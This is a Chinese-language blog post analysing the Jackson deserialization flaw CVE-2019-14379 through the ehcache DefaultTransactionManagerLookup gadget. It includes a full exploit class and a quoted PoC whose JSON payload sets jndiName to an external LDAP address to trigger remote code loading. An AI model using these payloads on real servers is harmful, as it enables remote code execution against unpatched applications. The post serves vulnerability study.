分析jackjson的安全漏洞CVE-2019-14379
Jackson 是當前用的比較廣泛的,用來序列化和反序列化 json 的 Java 的開源框架。Jackson 社 區相對比較活躍,更新速度也比較快, 從 Github 中的統計來看,Jackson 是最流行的 json 解析器之一 。今天給大傢介紹jackson知識點序列化和反序列化的時候,setName和getName調用順序:
Student.java:
package com.test.JackSonTest; public class Student{ private String name; private Integer age; private Teacher teacher; public Student(){ System.out.println("student構造方法被調用"); }; public String getName() { System.out.println(11111); return name; } public void setName(String name) { System.out.println(2222); this.name = name; } public Integer getAge() { return age; } public void setAge(Integer age) { this.age = age; } public Teacher getTeacher() { return teacher; } public void setTeacher(Teacher teacher) { this.teacher = teacher; } @Override public String toString() { return "Student{" + "name='" + name + '\'' + ", age=" + age + ", teacher=" + teacher + '}'; } }
在setName和getName處,新增輸出語句:
調用測試類:
jackson序列化和反序列化:
@Test public void test2() throws IOException { //序列化 對象轉json字符串 Student student = new Student(); student.setName("jack"); student.setAge(20); student.setTeacher(new Teacher("lua",33)); ObjectMapper objectMapper = new ObjectMapper(); //序列化JSON串時,在值上打印出對象類型 objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); String result = objectMapper.writeValueAsString(student); System.out.println(result); //反序列化 json字符串轉對象 String jsonResult = "[\"com.test.JackSonTest.Student\",{\"name\":\"jack\",\"age\":20,\"teacher\":[\"com.test.JackSonTest.Teacher\",{\"name\":\"lua\",\"age\":33}]}]"; Student stu = objectMapper.readValue(jsonResult, Student.class); System.out.println(stu); }
輸出結果:
student構造方法被調用
2222
11111
[“com.test.JackSonTest.Student”,{“name”:”jack”,”age”:20,”teacher”:[“com.test.JackSonTest.Teacher”,{“name”:”lua”,”age”:33}]}]
student構造方法被調用
2222
teacher構造方法被調用
Student{name=’jack’, age=20, teacher=Teacher{name=’lua’, age=33}}
結論:在序列化的時候調用set*,然後調用get*方法,反序列化的時候會調用set*方法,不會調用get*方法,調用反序列化的json數據對應的類構造方法
CVE-2019-14379漏洞分析:
影響jackson到2.9.9.1:
這個漏洞還是比較有意思的,其他的cve,我都看瞭下,都比較簡單:
先安裝漏洞環境依賴:
pom.xml:
<dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.8</version> </dependency> <dependency> <groupId>net.sf.ehcache</groupId> <artifactId>ehcache</artifactId> <version>2.10.6</version> </dependency> <dependency> <groupId>javax</groupId> <artifactId>javaee-api</artifactId> <version>6.0</version> </dependency>
單單有ehcache依賴是不行的,還得有javaee包,否則調用ehcache的時候,會提示找不到!
反序列化的惡意類是:net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup
因為代碼量的原因,直接靜態調試瞭,不是很難,通過反射進入代碼:
進入類:
找到這段代碼:
public void setProperties(Properties properties) { if (properties != null) { String jndiName = properties.getProperty("jndiName"); if (jndiName != null) { this.defaultJndiSelector.setJndiName(jndiName); } } }
獲取jndiName的值,然後設置jndiName:
繼續看這個類的其他方法:
public DefaultTransactionManagerLookup() { this.transactionManagerSelectors = new Selector[]{this.defaultJndiSelector, new GlassfishSelector(), new WeblogicSelector(), new BitronixSelector(), new AtomikosSelector()}; }
定義數組,存儲瞭這些數據,其中包含瞭this.defaultJndiSelector,這是重點,等下會用到
this.defaultJndiSelector的來源:
private final JndiSelector defaultJndiSelector = new GenericJndiSelector();
發現defaultJndiSelector實例化瞭GenericJndiSelector
這個等下要用到,這個先標記下.
繼續看這個類的其他方法:getTransactionManager():
代碼如下:
public TransactionManager getTransactionManager() { if (this.selector == null) { this.lock.lock(); try { if (this.selector == null) { this.lookupTransactionManager(); } } finally { this.lock.unlock(); } } return this.selector.getTransactionManager(); }
跟進去this.lookupTransactionManager():
其中
Selector[] var1 = this.transactionManagerSelectors; int var2 = var1.length;
獲取的數組內容,就是DefaultTransactionManagerLookup類提供的,繼續往下走代碼:
跟進去:
public TransactionManager getTransactionManager() { if (this.transactionManager == null) { this.transactionManager = this.doLookup(); } return this.transactionManager; }
調用this.doLookup()方法:
跟進去:
跟進到瞭Selector類,發現這是個抽象類:
以前寫文章說過,java基礎:抽象類方法的實現在他的子類繼承,如果想實現抽象類中的方法,需要子類繼承父類,然後重寫方法.
尋找他的子類:
跟進去看看:
快速找doLookup的具體實現:
把代碼搞出來:
protected TransactionManager doLookup() { InitialContext initialContext; try { initialContext = new InitialContext(); } catch (NamingException var14) { LOG.debug("cannot create initial context", var14); return null; } try { TransactionManager var3; try { Object jndiObject = initialContext.lookup(this.getJndiName()); if (jndiObject instanceof TransactionManager) { var3 = (TransactionManager)jndiObject; return var3; }
發現調用lookup,遠程調用我們的jndiName,jndiName可以通過properties設置:
Object jndiObject = initialContext.lookup(this.getJndiName());
至此都分析完瞭,觸發jndi遠程調用的文件是:net/sf/ehcache/ehcache/2.10.6/ehcache-2.10.6.jar!/net/sf/ehcache/transaction/manager/selector/JndiSelector.class
隻要我們設置我們的jndiName為惡意地址,並且調用getTransactionManager方法,即可實現rce:
構造exp:
package com.test.JackSonTest; import com.fasterxml.jackson.databind.ObjectMapper; import com.mysql.jdbc.MiniAdmin; import net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup; import org.jdom.transform.XSLTransformException; import org.jdom.transform.XSLTransformer; import java.io.IOException; import java.sql.SQLException; import java.util.Properties; public class attackJdbc { public static void main(String[] args) throws ClassNotFoundException, IOException, SQLException, XSLTransformException { ObjectMapper objectMapper =new ObjectMapper(); Class.forName("org.jdom.transform.XSLTransformer"); Class.forName("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup"); objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); String json2 = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":[\"java.util.Properties\",{\"jndiName\":\"ldap://119.45.227.86:123\"}]}]"; Object o = objectMapper.readValue(json2, Object.class); objectMapper.writeValueAsString(o); } }
這裡要writeValueAsString序列化一次,是因為隻有調用get方法的時候才能觸發lookup遠程調用,所以這裡需要序列化一次
運行代碼:
關於惡意json的構造,參考一開始寫的測試類中序列化的生成,我是根據序列化生成json反推出來的惡意json
淺藍提供的exp是:
String poc = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":{\"jndiName\":\"ldap://119.45.227.86:123/hello\"}}]";
這邊執行提示我json格式錯誤…
真的學到瞭不少哈哈哈,還是比較有意思的,雖然實戰很雞肋..
漏洞分析參考文章:
https://b1ue.cn/archives/189.html
以上就是jackjson的使用及CVE-2019-14379漏洞分析的詳細內容,更多關於jackjson CVE-2019-14379漏洞的資料請關註WalkonNet其它相關文章!
推薦閱讀:
- 如何將Java對象轉換為JSON實例詳解
- Java中常用解析工具jackson及fastjson的使用
- springboot2中使用@JsonFormat註解不生效的解決
- springboot配置Jackson返回統一默認值的實現示例
- MyBatis配置的應用與對比jdbc的優勢